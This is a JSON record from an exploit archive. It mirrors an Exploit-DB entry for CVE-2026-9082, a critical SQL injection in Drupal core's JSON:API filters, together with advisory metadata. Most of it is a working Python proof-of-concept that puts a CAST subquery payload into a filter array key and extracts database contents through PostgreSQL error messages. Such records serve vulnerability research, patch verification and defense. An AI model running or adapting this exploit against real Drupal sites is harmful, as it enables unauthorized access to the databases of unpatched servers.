{"exploit":{"id":"EDB-52608","name":"Drupal Core 10.5.5 - 'filter' Error-Based SQL Injection (SQLi)","description":"Drupal Core 10.5.5 - 'filter' Error-Based SQL Injection (SQLi)","cves":["CVE-2026-9082"],"author":"cardosource","published":"2026-06-01","platform":"php","type":"webapps","language":"Python","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/52608","path":"exploits/php/webapps/52608.py","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-52608.py","vulnerabilities":[{"id":"CVE-2026-9082","state":"PUBLISHED","title":"Drupal core - Highly critical - SQL injection - SA-CORE-2026-004","titleSource":"CVE Program","description":"Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Drupal Drupal core allows SQL Injection. This issue affects Drupal core: from 8.9.0 before 10.4.10, from 10.5.0 before 10.5.10, from 10.6.0 before 10.6.9, from 11.0.0 before 11.1.10, from 11.2.0 before 11.2.12, from 11.3.0 before 11.3.10.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2026-9082","cvss":{"version":"3.1","baseScore":9.8,"severity":"critical","vectorString":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","source":"drupal","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-9082"},"updatedAt":"2026-10-07T18:32:39.894Z","retrievedAt":"2026-11-25T16:15:43.255Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-52608.png?v=2","url":"https://exploitbin.com/exploits/EDB-52608","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-52608/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-52608/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"# Exploit Title: Drupal Core 10.5.5 - Error-Based SQL Injection\n# Google Dork: N/A\n# Date: 2026-05-31\n# Exploit Author: cardosource\n# Vendor Homepage: https://www.drupal.org\n# Software Link: https://www.drupal.org/project/drupal\n# Version: Drupal Core 10.5.5\n# Tested on: Debian Linux (Docker), PHP 8.2, Apache, PostgreSQL 17\n# CVE: CVE-2026-9082\n#\n# Description:\n# This proof-of-concept demonstrates an Error-Based SQL Injection in\n# Drupal Core 10.5.5 (PostgreSQL). User-controlled JSON:API filter\n# array keys influence SQL query construction, allowing database\n# information disclosure through SQL error messages.\n\n\n\nimport requests\nimport json\nfrom urllib.parse import urlencode\n\nTARGET_URL = \"http://localhost:8080/jsonapi/node/article\"\n\nBANNER = \"\"\"\n[+] Drupal Core 10.5.5 - Error-Based SQL Injection\n[+] CVE-2026-9082\n[+] Target: JSON:API (PostgreSQL)\n\"\"\"\n\n\ndef extract_data(subquery):\n    headers = {\n        \"Accept\": \"application/vnd.api+json\",\n        \"Content-Type\": \"application/vnd.api+json\"\n    }\n\n    payload = f\"0||CAST(({subquery}) AS INTEGER)\"\n\n    params = {\n        \"filter[my_filter][condition][path]\": \"title\",\n        \"filter[my_filter][condition][operator]\": \"IN\",\n        \"filter[my_filter][condition][value][0]\": \"Example\",\n        f\"filter[my_filter][condition][value][{payload}]\": \"Injection\"\n    }\n\n    try:\n        response = requests.get(TARGET_URL, headers=headers, params=params, timeout=10)\n\n        if response.status_code == 500:\n            try:\n                error = response.json().get(\"errors\", [{}])[0].get(\"detail\", \"\")\n                if \"invalid input syntax\" in error:\n                    data = error.split('\"')[1] if '\"' in error else error\n                    print(f\"\\033[92m[SUCCESS]\\033[0m {data}\")\n            except json.JSONDecodeError:\n                pass\n    except requests.exceptions.RequestException:\n        pass\n\n\nif __name__ == \"__main__\":\n    print(BANNER)\n    extract_data(\"SELECT version()\")","sha256":"35c2c9103b795916159008c7106f4b3e32c6c2b14a939b18057085ecf342ef54","bytes":1961,"fetchedAt":"2026-11-26T08:59:02.208Z","encoding":"utf-8 (display only; download retains original bytes)"}